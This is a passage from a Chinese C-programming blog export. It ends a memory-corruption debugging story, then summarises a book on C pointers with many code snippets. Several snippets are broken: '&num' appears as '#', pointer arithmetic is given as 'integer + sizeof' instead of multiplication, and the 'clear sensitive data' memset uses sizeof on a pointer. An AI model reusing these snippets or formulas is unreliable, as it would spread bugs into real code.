下尝试，以确定内存污染的行为特点，她在flag之前又加了一个字段flag1：\nstruct foo_t {\n… …\nchar e[XX_SIZE];\nchar c[XX_SIZE];\nunsigned int flag1;\nchar flag;\ndata_t *pdata;\n… …\n}；\n在生产环境下运行得到的结果是flag1和flag值正常，但字段c的尾部字节遭到了污染。现象已经十分明确，离真相就差那最后一公里了。\n对于上面的内存污染问题，我首先会怀疑在处理flag或c之前的字段时出现了缓冲区溢出，导致后面字段的内容被整体或局部覆盖。不过从bug现象 来看，这个思路也有说不通的地方，那就是为何是c的尾部字段被污染，而不是从头部开始呢？不过我们依旧沿着这个思路追查了e以及e的诸多前驱字 段，细致的分析了代码，但没有发现溢出点。\nc或flag的后继字段比如pdata要想污染c或flag则必须具备更多条件，至少要有操作\u0026amp;pdata的代码，之前基本认为这不太可 能。但现在仅有这一条路可以继续走下去了，也只能沿着这条路走下去。事实证明我们走的没错。在后续的处理流程中有这样的一个函数：\nint func(void *p, int size)\n这个函数本来是用于处理data_t*变量的，但由于编码者的疏忽，将\u0026amp;pdata传给了p，另外size这个参数也传了一个错误的值， 估计是滥用了copy\u0026amp;paste。而func函数体中对p指向的内存地址做了修改，这个修改直接污染了 ((char*)\u0026amp;pdata + size)起始的那片内存块儿，这就是问题的真正原因所在。这样看来pdata并未污染其所在的foo_t实例中的flag或c字段，而是污染了其他foo_t实例中的flag或c字段，因为这些实例都放在一个mem block pool中的，所以这还是一个随机的远距离内存污染^_^。\n我走完了BUG查找的最后那一公里，到达了终点。这个BUG的查找确实不易，但并非遥不可及，为何我的两位同事就停在离真相只有一公里的地方而踌 躇不前了呢？对此我也做了一些考量，希望能在日后的BUG查找方面给予帮助。\n要跨过BUG查找的那最后一公里，可从如下几个方面着手努力：\n* 收罗证据，不放过一处可疑之处\n这是准备工作，就好比警察查看罪案现场，哪怕是一根毛发，一处异物也不能放过。一般来说我们至少要收集到Bug发生时的各方面信息，包括：\n系统日志\n这个时间点上各个模块的日志都要搜罗到；\ncore文件\n如果bug引发core dump，那core文件是bug查找的最佳入口；\n通信数据包内容\n对于很多后端服务程序而言，不合法的通信数据包常常会引发Bug，我经手的类似Bug就不止一起了。必要时通过抓包工具将通信包抓到文件中以备后用。\nCPU/内存/磁盘实时状况\n千万不要小视这些信息。如果发现CPU过高，则很可能代码存在死循环的可能（后pstack进程号，则可直接找到问题所在）；如果磁盘满，则可以很好解释 数据不完整的异常；如果mem占用过高，则可以解释分配内存异常或性能下降等问题。\n系统操作日志\n如果有管理员的操作行为的话，我们也不要放过，将操作日志（一般系统都有保存，并需要对这些日志进行定期审核）截取并保留，以备后用。\n操作系统/硬件相关异常信息等。\n如果是因为OS或硬件异常导致的Bug，那搜集到这些信息就太重要了，否则你将付出惨重的Bug查找代价。\nBug查多了你就会有这种感悟：证据用时方恨少啊！\n* 沉下心**，保持清晰思路**\nBUG有难有易，简单的Bug大家都能应付，而困难的Bug，就要比拼能力和经验了。要想解决掉Bug，务必要沉下心，不急不躁，这是保持大脑始 终有清晰思路的前提。\n能用工具（比如GDB）调试出来的Bug，都不是最难的问题，因为现场就摆在你的面前，你可以看到一切蛛丝马迹。最难的问题最终都是要通过脑力分 析出来的。\n解决问题前，要根据之前搜罗的证据，形成自己的查找思路。没有思路是可怕的。没有思路的时候，也不要急于开始查，那样只会乱套。应根据已有的蛛丝 马迹，行成一些思路，哪怕这个思路你自己都不是很肯定，先按这个思路做做看，也许走出一步后，你又能收获新的信息，形成新的思路。就这样敏捷地向 前进，边向前探索边定期回顾。\n* 知晓原理，缩小查找范围，形成正确思路\n要保持清晰正确的思路，开发人员对系统的运行原理要做到十分清楚，这样可以缩小查找范围，重点突破。就好比上面的那个bug例子，我们要知道 c/flag被污染有几种潜在的可能，并形成多种思路，然后沿着这几种可能的思路继续走下去。在这次查找过程中，想必两位同事恰恰是在原理这方面 没有理解透彻吧。\n* 质疑，从自己的代码开始\n查Bug就要抛弃“不可能”，拥抱“质疑一切”。而质疑要从自己的代码开始。程序员或多或少都有一种“自负”的心态，骨子里会认为自己的代码肯定 是正确的。如果出现问题，一定是其他人代码的问题，哪怕是OS这样总体来说十分稳定的平台也会成为被首先质疑的对象。不过事实证明，错误多出在我 们自己的代码中，毫无理由的去怀疑操作系统、怀疑你使用的第三方库，多半会南辕北辙，浪费你宝贵的查找时间。\n* 拥抱调试技巧****和工具\n必要的调试技巧是Bug查找的基本功底，这些技巧在涉及内存问题查找过程中相当有用。\n— print语句\n不用多说，print语句是最简单、最常用的调试手段，在代码任意位置，根据你的需要，输出信息，帮助你分析bug原因。其唯一的缺点就是可能需要你重新 build代码和部署你的应用。\n— gdb切入进程地址空间查看堆栈\n利用gdb一类的专用调试工具可在代码运行时切入进程地址空间，实时查看数据变化。你也可以在gdb下执行应用，获得同样的效果（适合单进程应用）。\n— 调试版中采用magic number + assert\nC程序的bug多为内存问题。常见的内存越界访问或污染的调试手段是在代码中为内存块添加magic number，并在特定环节用assert保证该magic number的值是没有被修改的。一旦值改变了，则说明问题发生在执行流的两次assert之间的某个地方，后续可进一步缩小assert间隙，直到定位 到问题。\n— 让bug尽可能的容易复现\n一个可以在模拟环境下复现的Bug总是比较好查的。出于这个考虑，我们可通过放大问题区域来尽可能更容易的复现bug，比如将一个字节的字段改为4个字 节，这样可能占据更多被污染的区域，比较利于Bug的复现（但这不总是ok的）。\n* 把握节奏，避免陷入惯性思维\n一些比较难fix的Bug，其查找过程可能会十分漫长，就像这次我们遇到的这个问题。这就需要我们的开发人员把握好Bug查找的节奏，因为长时间 调试和查问题容易让人陷入惯性思维，反倒不利于Bug的查找。一旦意识到自己进入惯性思维后，可考虑换种活动做做，比如出去散散步、洗个热水澡 等。或者给其他人员讲解你的查找思路，这个过程中自己可能会发现思路上的缺陷，或者由他人指出你思路方面的问题。\n感觉Bug查找是一门手艺活，要学会慢工出细活，这总比不出活儿的要好，尤其是在面对那些十分诡异的内存Bug时。\n","permalink":"https://tonybai.com/2013/06/18/walk-through-the-last-mile-of-bugfix/","summary":"\u003cp\u003e\u003cem\u003e如果你看到一个C程序员在通宵熬夜神情紧张地对着电脑敲代码或阅读代码，多数只有两种可能：一是为了赶进度；二就是查找内存Bug。\u003c/em\u003e\u003cbr\u003e\n                                                                                                                              \u003cem\u003e— 个人感悟\u003c/em\u003e\u003c/p\u003e","title":"跨过BUG查找的\"最后一公里\""},{"content":"如果你问十个C程序员：你觉得C语言的核心是什么？这十个程序员都会回答：指针。\n指针具备成为C语言核心的两个关键要素：强大与争议。\n* 指针的强大源自于其天生与机器内存模型的适配。使用指针让代码紧凑，并可获得仅次于汇编代码的执行效率；使用指针可以让C程 序员毫不费力地尽情操纵着内存中的每个byte甚至是bit；使用指针可以为C程序员提供无与伦比的操作灵活性。总之，在C语言中指针几乎是无所 不能的代名词。得指针者得天下，没有指针，C语言将变得平庸。\n* 成也指针，败也指针。指针的争议之处就在于其在赋予C程序员无比强大的Power的同时，也常常带来无穷的烦恼甚至灾祸，比如 内存问题、调试困难或因指针导致的程序崩溃等。就好比人类社会，做核心人物有争议是难免的，比如足球界有马拉多纳，跳水界有菲尔普斯，斯诺克界有 奥沙利文^_^。\n好了，言归正传，我们回到C语言图书上来。目前市面上的C语言书籍，无论国内国外，无论经典还是山寨，基本都是百科大全型，将C语言讲的面面俱 到。比如最近的一本大而全的经典应当属《C Programming , A Modern Approach》，中文版书名为《C语言程序设计：现代方法》第2版。以至于发展到今天，C语言似乎也没啥可讲的了，新出的C语言书大多是与前辈们雷同 的作品。近两年来也有O\u0026rsquo;reilly出版的C语言书籍，比如：\n*《Head First C》\n*《21st Century C – C Tips from the New School》\n前者是典型的Head First风格的C教程，后者则是另辟蹊径，结合C语言外延（构建、调试、打包、版本控制、面向对象与C、知名C语言开源库等)进行讲解。这两本书虽形式 有变化，但终究脱离不开百科大全型，针对C的核心-指针并未有较多的深入探讨。而市场上专门写指针的书也稀少的很（似乎鬼子国那边有一本，叫什么 《征服C指针》），唯一的一本书名与指针扯上关系的书《Pointers on C》（中文名“C和指针”）其实依旧是一本C语言大全。于是乎国外著名出版社O\u0026rsquo;Reilly今年5月出品了一本专门讲解C语言核心 – 指 针的书《Understanding and Using C Pointers》，以满足C程序员深入理解C语言核心并实现进阶的诉求。O\u0026rsquo;Reilly就是O\u0026rsquo;Reilly，总是能抓住C语言书籍方面的深度阅读需 求^_^。\n《Understanding and Using C Pointers》是个小册子，拢共才200多页，但内容却全部是围绕C语言指针展开的，从最基本的指针声明与操作、C内存模型、动态内存分配，讲到指针 与数组、结构体、字符串的关系，再到最后指针的高级特性：强制转换、Strict Aliasing、线程共享、多态支持等，由浅入深的进行细致的剖析。其作者认为作为C语言核心的指针值得花200页篇幅去讲解，而且期望所有读者在读完 此书后能对C指针有个扎实的理解。总之，这本书对系统C程序员理解C语言的核心-指针是大有裨益的。在其中文版（已经由图灵出版社引进版权了）尚 未出版之前，这里带你先了解以下本书的要点：\n第一章 简介\n1、指针与内存\n【指针声明语法】\nint *pi;\n【理解复杂指针声明】\n方法：从后向前读，例子：\nconst int *pci;\npci is a variable pci\npci is a pointer variable *pci\npci is a pointer variable to an integer int *pci\npci is a pointer variable to a constant integer const int *pci\n【地址操作符】\npi = #\n【输出指针值】\n通过%x、%o、%p输出(printf)指针的值，一般使用%p（%p输出结果不一定等同于%x，是与实现有关的）。例子如下：\nint num = 0;\nint *pi = #\nprintf(\u0026ldquo;Address of num: %d Value: %d\\n\u0026rdquo;,\u0026amp;num, num);\nprintf(\u0026ldquo;Address of pi: %d Value: %d\\n\u0026rdquo;,\u0026amp;pi, pi);\nAddress of num: 4520836 Value: 0\nAddress of pi: 4520824 Value: 4520836\n【通过间接访问操作符解引用指针】\n间接访问操作符*，使用例子如下：\nint num = 5;\nint *pi = #\nprintf(\u0026quot;%d\\n\u0026quot;,*pi); // Displays 5\n*pi = 200;\nprintf(\u0026quot;%d\\n\u0026quot;,num); // Displays 200\n【指向函数的指针】\nvoid (*foo)(); // 这个变量声明中的foo就是一个指向函数的指针\n【Null概念】\nnull concept\n赋值为NULL的指针变量表示该指针不指向任何内存地址。\nnull pointer constant\nnull concept的具体支撑实现，其常量值可能是常量值0，也可能不是。依具体实现而定。\nNULL macro\n在许多标准库实现中，NULL定义如下：#define NULL ((void *)0)，这也是我们对NULL的通常理解。当然这是依Compiler的具体实现而定的。如果编译 器使用非全0位模式实现了NULL，那该编译器就要保证在指针上下文中使用的NULL或0是null pointer。\nASCII NUL\n一个全0的字节。\nnull string\n一个不包含任何字符的空字符串。C字符串在最后都放置一个结尾0值。\nnull statement\n只包含一个分号的空语句。\n指向void的指针\n指向void的指针被成为通用指针，可以用于引用任意类型的数据。它有两个属性：\n– 指向void的指针与指向char类型的指针具有相同的内存表示与内存对齐约束。\n– void指针永远不等于其他类型指针，两个赋值为NULL的void pointer是相等的。\n任何指针都可以被赋给一个void pointer，并且之后还可以被转换回其原来的类型。\nint num;\nint *pi = # void* pv = pi;\npi = (int*) pv;\nvoid pointer用于数据指针，而不是函数指针。\n全局void pointer或static void pointer在程序启动时被初始化为NULL。\n2、指针大小与类型\n在多数现代平台上，指针的大小都是相同的，与其类型无关。指向char的指针与指向结构体的指针大小相同。\n指向函数的指针可能与指向数据类型的指针大小有差异，这要依具体实现而定。\n【内存模型】\n在不同机器和编译器下，C语言原生类型的大小是不同的。\n描述不同数据模型的一般记法：\nI In L Ln LL LLn P Pn，例如LP64、ILP64、LP32等。\n【预定义的指针相关类型】\nsize_t 用于表示对象的大小的一个安全类型。\nptrdiff_t 用于处理指针运算\nintptr_t和uintptr_t 用于存 储指针地址\nint num;\nintptr_t *pi = #\n3、指针操作符\n【指针运算】\npointer + integer\n指针实际移动的字节数 = integer + sizeof(integer_type)\nvoid* pointer的指针运算操作行为是未定义的，依赖Compiler的具体实现。\npointer – integer\n指针实际移动的字节树 = integer – sizeof(integer_type)。\npointer1 – pointer2\n两个指针所指地址间的差值，常用于判断数组中元素的先后次序。\n比较pointers\n【指针比较】\n指针可以使用标准的比较操作符（\u0026gt; and \u0026lt;）进行比较，可用来判断数组中元素的先后次序。\n4、指针的通常用法\n【多级间接寻址】\n双指针(double pointer) – 指向指针的指针。\nchar *titles[] = {\u0026ldquo;A Tale of Two Cities\u0026rdquo;,\n\u0026ldquo;Wuthering Heights\u0026rdquo;,\u0026ldquo;Don Quixote\u0026rdquo;,\n\u0026ldquo;Odyssey\u0026rdquo;,\u0026ldquo;Moby-Dick\u0026rdquo;,\u0026ldquo;Hamlet\u0026rdquo;,\n\u0026ldquo;Gulliver\u0026rsquo;s Travels\u0026rdquo;};\nchar **bestBooks[3];\nbestBooks[0] = \u0026amp;titles[0];\nbestBooks[1] = \u0026amp;titles[3];\nbestBooks[2] = \u0026amp;titles[5];\n间接寻址的级数并没有限制，但过多的级数会让人难以理解。\n【常量和指针】\n指向常量的指针\nconst int limit = 500;\nconst int *pci = \u0026amp;limit;\n*pci = 600；/* Error， 我们不能解引用一个常量指针并修改其所指的内存值 */\nconst int *pci \u0026lt;=\u0026gt; int const *pci;\n指向非常量的常量指针\nint num;\nint *const cpi = #\n*cpi = 25; /* 可以解引用常量指针并修改其所指的内存的值 */\nint limit;\ncpi = \u0026amp;limit; /* Error，我们不能为常量指针重新赋新值 */\nconst int limit1 = 300;\nint *const cpi1 = \u0026amp;limit1; /* Warning: 指向非常量的常量指针被用常量 的地址初始化了 */\n指向常量的常量指针 const int limit = 300;\nconst int *const cpci = \u0026amp;limit;\n/* 声明后，我们不能通过cpci修改limit，也不能为cpci重新赋值 */\n指向“指向常量的常量指针”的指针\nconst int limit = 300;\nconst int *const cpci = \u0026amp;limit;\nconst int *const *pcpci = \u0026amp;cpci;\n第二章 C语言动态内存管理\n在运行时通过函数手工从heap分配和释放内存的过程称为动态内存管理。\n1、动态内存分配\n【使用malloc函数】\nint *pi = (int*) malloc(sizeof(int));\n*pi = 5;\nfree(pi);\n【内存泄漏】\n– 丢失了内存地址\n– 没有调用free函数释放内存\n2、动态分配内存函数\nmalloc、realloc、calloc、free\n是否对malloc出的内存起始地址进行强制转型\nint *p = (int*)malloc(4);\nvoid *pointer可以转换为任意类型指针，没有强制转型也可以。\n但显式的强制转型可以通过代码看出意图，并且与C++编译器(包括早期C编译器)兼容\n你不能用内存分配函数分配的内存去初始化全局或Static变量。\nalloca函数用于在栈上动态分配内存，函数结束时，这块内存自动释放；但alloca不是标准C库函数，移植性差。\nC99支持可变长度数组(VLA)，数组声明时的元素个数可以是运行时才能确定值的变量，但数组size一旦在运行时被确定，数组大小就无法再做改变：\nvoid compute(int size) {\nchar* buffer[size];\n…\n}\n3、悬挂指针\n被free后依然引用原先内存地址的指针，称为dangling pointer。\n悬挂指针可能导致如下问题：\n– 如果访问其引用的内存，将导致不可预期的结果\n– 如果内存不可访问了，将导致段错误\n– 存在潜在的安全风险。\n悬挂指针引起的问题调试起来十分困难，以下几种方法用于避免发生悬挂指针问题或快速查找悬挂指针问题：\n– free后，设置指针为NULL；\n– 编写一个替代free的函数；\n– 用特定值填充free的内存块，便于快速定位dangling pointer问题\n– 使用第三方工具检查dangling pointer问题\n第三章 指针与函数\n当与函数一起使用时，指针有两个方面发挥重要作用：\n– 当指针以参数形式传递给函数时，允许函数修改指针所指内存区域的值，并且这种传递方式更加高效；\n– 声明函数指针时，函数的名字被求值为函数的地址。\n1、程序栈和堆\n【程序栈】\n栈和堆共享一块内存区域。栈在这块区域的低地址部分，堆在高地址部分。\n程序栈用于存放栈帧(stack frame)，栈帧中存放的是函数的参数与local变量。\n栈增长方向：向上；堆的增长方向：向下。\n【栈帧的组成】\n一个栈帧包含如下几个元素：\n– 返回地址\n– 本地变量\n– 函数参数\n– 栈指针(Stack pointer)和栈帧指针(base pointer or frame pointer)\nStack pointer和frame pointer用于运行时系统对栈的管理。前者总是指向栈的顶端；后者指向栈帧内的某个地址，比如函数的返回地址；frame pointer辅助程序访问栈帧内的元素。\n栈帧的创建，见下面例子：\nfloat average(int *arr, int size) {\nint sum;\nprintf(\u0026ldquo;arr: %p\\n\u0026rdquo;,\u0026amp;arr);\nprintf(\u0026ldquo;size: %p\\n\u0026rdquo;,\u0026amp;size);\nprintf(\u0026ldquo;sum: %p\\n\u0026rdquo;,\u0026amp;sum);\nfor(int i=0; i\u0026lt;size; i++) {\nsum += arr[i];\n}\nreturn (sum * 1.0f) / size;\n}\naverage的栈帧中沿着栈“向上”的方向，依次推入的是：\n– 参数 size、arr （与声明的顺序恰好相反）\n– 函数average调用的返回地址\n– 本地变量sum（如果有多个本地变量，推入栈的顺序也与变量声明顺序相反）\n每个线程通常都在自己的栈中创建栈帧。\n2、指针作为参数和返回值\nC语言的参数是“按值传递”的，包括指针本身，函数内使用的是参数的copy。\n在处理大数据结构时，将指针作为参数传递给函数或作为返回值会使得程序执行起来更加高效（只是copy一个指针大小的数据，而不是指针所指向的数据对象大 小）。\n另外一个以指针作为函数参数的目的是希望在函数内部对数据进行修改。\n当传递一个指向常量的指针给函数时，其意图为不希望函数内部对指针所指的数据进行修改。例如void passingAddressOfConstants(const int* num1, int* num2)，不希望num1所指数据被修改。\n将指针作为返回值返回时，应避免以下几个常见问题：\n– 返回未初始化的指针\n– 返回指向非法地址的指针\n– 返回指向函数本地变量的指针\n– 返回指针后，没有释放其所指的内存块\n如果函数要修改的不是参数中指针所指的数据，而是指针本身所指的内存地址，那么应以double pointer形式作为函数参数：\nvoid allocateArray(int **arr, int size, int value) {\n*arr = (int*)malloc(size * sizeof(int));\nif(*arr != NULL) {\nfor(int i=0; i\u0026lt;size; i++) {\n*(*arr+i) = value;\n}\n}\n}\nint *vector = NULL;\nallocateArray(\u0026amp;vector,5,45);\n_3、_函数指针\n函数指针就是存放函数地址的指针。 使用函数指针可能导致程序运行变慢（可能感知不到），因为函数指针的使用可能导致CPU无法正确的运用分支预测，导致CPU流水线中断。\n【声明函数指针】\n函数指针的声明看起来像函数原型，比如：void (*foo)(int i);\n程序员应该确保通过函数指针调用函数的正确使用，因为C编译器不会检查是否正确的为函数指针传入正确的参数（类型、顺序以及个数）。\n通常我们用typedef声明一个函数指针类型，比如：\ntypedef void (*funcptr)(int i)；\nfuncptr fp = foo;\n【函数指针强制转型】\n一个类型的函数指针可以被强制转为另外一种类型函数指针。\n转型后的指针 == 转型前的指针\ntypedef int (*fptrToSingleInt)(int);\ntypedef int (*fptrToTwoInts)(int,int);\nint add(int, int);\nfptrToTwoInts fptrFirst = add;\nfptrToSingleInt fptrSecond = (fptrToSingleInt)fptrFirst;\nfptrFirst = (fptrToTwoInts)fptrSecond;\nprintf(\u0026quot;%d\\n\u0026quot;,fptrFirst(5,6));\n在函数指针间转换，很可能导致函数调用失败。\n第四章 指针与数组\n1、数组概述\n数组与指针记法关系紧密，在特定上下文中可以相互替换。\n数组内部表示中并没有数组长度信息。\n【一维数组】\nint vector[5];\n一维数组是一个线性结构。数组下标起始于0，终止于(元素个数-1)。\n【二维数组】\nint matrix[2][3] = {{1,2,3},{4,5,6}};\n二维数组使用行和列标识数组元素。这类数组需要被映射到一个一维地址空间中。\n在C中，二维数组的第一行放在内存的最开始处，接下来是第二行，…，直到最后一行，这就是所谓的“行主序”。\n【多维数组】\nint arr3d[3][2][4] = {\n{{1, 2, 3, 4}, {5, 6, 7, 8}},\n{{9, 10, 11, 12}, {13, 14, 15, 16}},\n{{17, 18, 19, 20}, {21, 22, 23, 24}}\n};\n二维以上的维数的数组称为多维数组，其元素内存分配依旧遵守二维数组那种映射方式。\n2、指针记法(notation)与数组\n指针记法与数组记法在一定场合可以互换，但两者并不完全相同。\n数组名单独使用时，我们得到的是数组的地址；该地址等同于数组内第一个元素的地址。\nint vector[5] = {1, 2, 3, 4, 5};\nint *pv = vector;\nint (*pv)[5] = \u0026amp;vector;\nvector与\u0026amp;vector不同，前者返回指向一个整型变量的指针（int *），后者返回一个指向整个数组的指针(int[5] *)。\npv[i] \u0026lt;=\u0026gt; *(pv + i)\n*(pv + i) \u0026lt;=\u0026gt; *(vector + i)\n【指针与数组间的不同】\nint vector[5] = {1, 2, 3, 4, 5};\nint *pv = vector;\nsizeof(vector) = 20 != sizeof(pv)\npv是lvalue，可以被修改而指向不同的地址；比如pv = pv + 1\n而vector不能被修改。vector = vector + 1这个表达式是错误的，不过pv = vector + 1是ok的。\n【使用malloc创建一维数组】\nint *pv = (int*) malloc(5 * sizeof(int));\npv[3] = 10;\n可使用realloc改变malloc创建的数组的大小。\n3_、传递一维数组_\n两种记法：数组记法和指针记法，分别如下：\nvoid displayArray(int arr[], int size);\nvoid displayArray(int* arr, int size);\n无论哪种，displayArray函数体内int arr[]或int *arr都将以int *arr方式使用，即数组名退化为指针，sizeof(arr) = 指针长度，而不是数组总长度。\n【一维指针数组】\nint* arr[5];\nfor(int i=0; i\u0026lt;5; i++) {\narr[i] = (int*)malloc(sizeof(int));\n*arr[i] = i;\n}\n【指针与多维数组】\n多维数组可以看成是由子数组组成的，就好比二维数组的每行都可以看成是一个一维数组。\nint matrix[2][5] = {{1,2,3,4,5},{6,7,8,9,10}};\nint (*pmatrix)[5] = matrix;\n4_、传递多维数组_\nvoid display2DArray(int arr[][5], int rows)；\u0026lt;=\u0026gt;\nvoid display2DArray(int (*arr)[5], int rows)；\n上面两个版本是等价的。两个版本都指定了列的值，因为编译器需要知道每行的元素个数。\n注意第二个版本不等价于void display2DArray(int *arr[5], int rows)；\n在void display2DArrayUnknownSize(int *arr, int rows, int cols)的 函数体实现中，你不能使用arr[i][j]，因为arr并未被声明为二维数组。\n5、动态分配二维数组\n【采用不连续的内存分配方式】\nint rows = 2;\nint columns = 5;\nint **matrix = (int **) malloc(rows * sizeof(int *));\nfor (int i = 0; i \u0026lt; rows; i++) {\nmatrix[i] = (int *) malloc(columns * sizeof(int));\n}\n【采用连续内存分配的方式】\nint rows = 2;\nint columns = 5;\nint **matrix = (int **) malloc(rows * sizeof(int *));\nmatrix[0] = (int *) malloc(rows * columns * sizeof(int));\nfor (int i = 1; i \u0026lt; rows; i++)\nmatrix[i] = matrix[0] + i * columns;\nor\nint *matrix = (int *)malloc(rows * columns * sizeof(int));\n第五章 指针与字符串\n1、字符串基础\n字符串：以ASCII结尾\u0026rsquo;\\0\u0026rsquo;字符结尾的字符序列。\n分类：字节字符串(byte string) – char类型字符序列\n宽字符串（wide string) – wchar_t 类型字符序列（每个字符16bit or 32bit，依编译器实现而定）\n字符串声明：char header[32] or char *header；\n【字符串字面量池(String literal pool)】\n字符串字面量定义后将被放在字面量池中。这块内存区域存放的是组成字符串的字符序列。当一个字面量多次使用时，通常在字面量池中只存储一份该字符串。这将 降低程序的内存使用量。并且通常情况下，字面量池中的字符串是immutable的。\n大多数编译器都提供了编译开关，用于指示是否关闭字符串字面量池，比如Gcc的-fwritable-strings。\n【字符串初始化】、\nchar *header = \u0026ldquo;Media Player\u0026rdquo;;\nor\nchar header[] = \u0026ldquo;Media Player\u0026rdquo;;\nor\nchar header[13];\nstrcpy(header,\u0026ldquo;Media Player\u0026rdquo;);\nor\nchar *header = (char*) malloc(strlen(\u0026ldquo;Media Player\u0026rdquo;)+1);\nstrcpy(header,\u0026ldquo;Media Player\u0026rdquo;);\n2、标准字符串操作\n比较字符串：strcmp\n拷贝字符串：strcpy\n连接字符串：strcat\n3、传递字符串\n传递简单字符串：\nsize_t stringLength(char* string) ;\nsize_t stringLength(char string[]);\n传递字符串常量：\nsize_t stringLength(const char* string);\n4、返回字符串\n返回一个字面量：return \u0026ldquo;Boston Processing Center\u0026rdquo;；\n动态分配的内存：\nchar* spaces = (char*) malloc(number + 1);\n… …\nreturn spaces;\n返回local字符串的地址是危险的。\n5、函数指针与字符串\n第六章 指针与结构体\n1、简介\n【如何为结构体分配内存】 结构体的大小往往大于该结构体所有字段大小之和，因为有数据对齐的需求，导致编译器在进行结构体内存分配时进行了padding操作。特定数据类型具有一 定的对齐要求，比如short类型的字段要求其地址能被2整除，而integer类型的字段要求其起始地址能被4整除。\n考虑到这些多余分配的内存，你应该谨慎对待如下操作：\n– 小心使用指针运算\n– 结构体数组的元素间有多余内存空间\n【结构体内存释放】\n为结构体分配内存时，运行时不会自动为结构体内的指针字段分配内存；同理，释放结构体内存时，运行时也不会自动释放结构体内指针字段所指向的内存。\n【避免malloc和free的额外开销】\nmalloc和free多次重复调用时，会给程序带来额外的开销。一个解决方法就是自己维护一份已分配的结构。需要时，从这个池里取出一份，释放时，直接 返回给池中。如果没有可用的结构时，才考虑新创建一个。\n2、使用指针支持数据结构\n无论是简单还是复杂的数据结构，指针都提供了更加灵活的支持，包括链表、队列、栈以及树等。\n第七章 安全问题以及不当使用指针\n深入理解指针以及其正确的使用方法有利于开发出安全可信赖的应用。\nOS引入了一些提升安全的技术，比如 Address Space Layout Randomization和Data Execution Prevention。\n【Address Space Layout Randomization (ASLR) ，地址空间布局随机化】\nASLR技术使得程序的数据区域随机布局，数据区域包括：代码、栈、堆。随机的放置这些区域让代码攻击行为很难精确预测特定代码的内存地址并使用它们。\n【Data Execution Prevention(DEP)，数据执行保护】\nDEP技术会阻止执行非执行数据区域中的代码。在一些攻击中，一些非执行数据区域中的数据被恶意覆写为代码，执行权也被转移到那里。但有了DEP后，这些 恶意代码将无法执行。\n1、指针声明与初始化\n【不正确的指针声明】\nint* ptr1, ptr2;\nptr1是指针，但ptr2只是一个整型变量。\n正确声明方法：int *ptr1, *ptr2; /* 更好的做法是每行仅声明一个变量 */\n下面做法存在同样的问题：\n#define PINT int*\nPINT ptr1, ptr2;\n用typedef就没有问题了：\ntypedef int* PINT;\nPINT ptr1, ptr2;\n【使用指针前未初始化】\n使用前未做初始化的指针，常称作野指针（wild pointer)：\nint *pi;\n…\nprintf(“%d\\n”,*pi);\n【处理未初始化的指针】\n指针脸上没有写自己是否做过初始化^_^。通常有三种方法用于对付未初始化的指针：\n– 总是将指针初始化为NULL；\n– 使用assert函数\n– 使用第三方工具\n2_、指针使用问题_\n缓冲区溢出(Buffer overflow)可能由以下原因导致：\n– 访问数组元素的时候没有检查下标值\n– 做数组指针相关运算时不够谨慎\n– 用gets之类的函数从标准输入读取字符串\n– 使用strcpy和strcat不当\n【测试NULL】\n调用malloc后，总是检查返回值是否为NULL。\n【误用解引用操作符】\nint num;\nint *pi;\n*pi = \u0026amp;num\n【悬挂指针】\n【访问数组越界】\nchar firstName[8] = \u0026ldquo;1234567\u0026rdquo;;\nchar middleName[8] = \u0026ldquo;1234567\u0026rdquo;;\nchar lastName[8] = \u0026ldquo;1234567\u0026rdquo;;\nmiddleName[-2] = \u0026lsquo;X\u0026rsquo;;\nmiddleName[0] = \u0026lsquo;X\u0026rsquo;;\nmiddleName[10] = \u0026lsquo;X\u0026rsquo;;\n【错误计算数组大小】\n当将数组作为参数传递给函数时，务必将函数的Size一并传入，这个Size信息将避免数组访问越界。\n【误用sizeof操作符】\nint buffer[20];\nint *pbuffer = buffer;\nfor(int i=0; i\u0026lt;sizeof(buffer); i++) {\n*(pbuffer++) = 0;\n}\nsizeof(buffer)=\u0026gt;sizeof(buffer)/sizeof(buffer[0]);\n【总是匹配指针类型】\n【有界指针(bounded pointer)】\n【字符串安全问题】\n对strcpy和strcat使用不当，会导致缓冲区溢出。\n在C11标准中加入了strcat_s和strcpy_s函数，如果发生缓冲区溢出，它们会返回错误。\n【函数指针问题】\n不要将函数赋值给签名不同的函数指针，这很可能将导致未定义行为发生。\n3、内存释放问题\n【两次free】\n【清除敏感数据】\n一个良好的实践是覆写哪些不再需要的敏感数据。\nchar *name = (char*)malloc(…);\n…\nmemset(name,0,sizeof(name));\nfree(name);\n4、使用静态分析工具\n比如Gcc -Wall等。\n第八章 其他零碎的知识点\n1、指针转型\n指针转型有几个原因：\n– 访问特定目的的地址\n– 分配一个地址代表一个端口\n– 决定机器的endianess\n【访问特定的地址】\n#define VIDEO_BASE 0xB8000\nint *video = (int *) VIDEO_BASE;\n*video = \u0026lsquo;A\u0026rsquo;;\n【访问一个端口】\n#define PORT 0xB0000000\nunsigned int volatile * const port = (unsigned int *) PORT;\n*port = 0x0BF4; // write to the port\nvalue = *port; // read from the port\n【判断机器的endianess】\nint num = 0×12345678;\nchar* pc = (char*) #\nfor (int i = 0; i \u0026lt; 4; i++) {\nprintf(\u0026quot;%p: %02x \\n\u0026quot;, pc, (unsigned char) *pc++);\n}\n2、Aliasing、Strict Aliasing和restrict关键字\n两个指针同时指向一块相同的内存地址，这两个指针被称为aliasing。\nint num = 5;\nint* p1 = #\nint* p2 = #\naliasing的使用对编译器生成的代码强加了限制。\n如果两个指针引用相同位置，每个指针都可以修改这块地址。当编译器生成读写这块内存的代码时，不总是可以通过将值存储在寄存器中这种办法来优化代 码。对每次引用，将强制使用机器级别的低效load和store操作。\nStrict Aliasing：另外一种形式的aliasing。strict aliasing不允许不同类型的指针指向同一块内存区域。下面代码：一个指向整型的指针alias了一个指向float类型的指针了，这违反了Strict Aliasing的规则。\nfloat number = 3.25f;\nunsigned int *ptrValue = (unsigned int *)\u0026amp;number;\nunsigned int result = (*ptrValue \u0026amp; 0×80000000) == 0;\n如果仅仅是符号标志和修饰符不同，是不会影响strict aliasing的，下面的语句是符合Strict aliasing规则的：\nint num;\nconst int *ptr1 = #\nint *ptr2 = #\nint volatile ptr3 = #\n有些场合，相同数据的不同表示是很有用处的，下面一些方法可以避免与Strict aliasing规则冲突：\n– 使用Union: 多个数据类型的联合体可以规避strict aliasing\n– 关闭strict aliasing ：利用编译器提供的开关将strict aliasing关闭（不建议这么做哦），\n比如Gcc提供的一些开关：\n-fno-strict-aliasing 关闭strict aliasing\n-fstrict-aliasing 打开strict aliasing\n-Wstrict-aliasing 针对strict aliasing相关问题给出警告\n– 使用char pointer：char 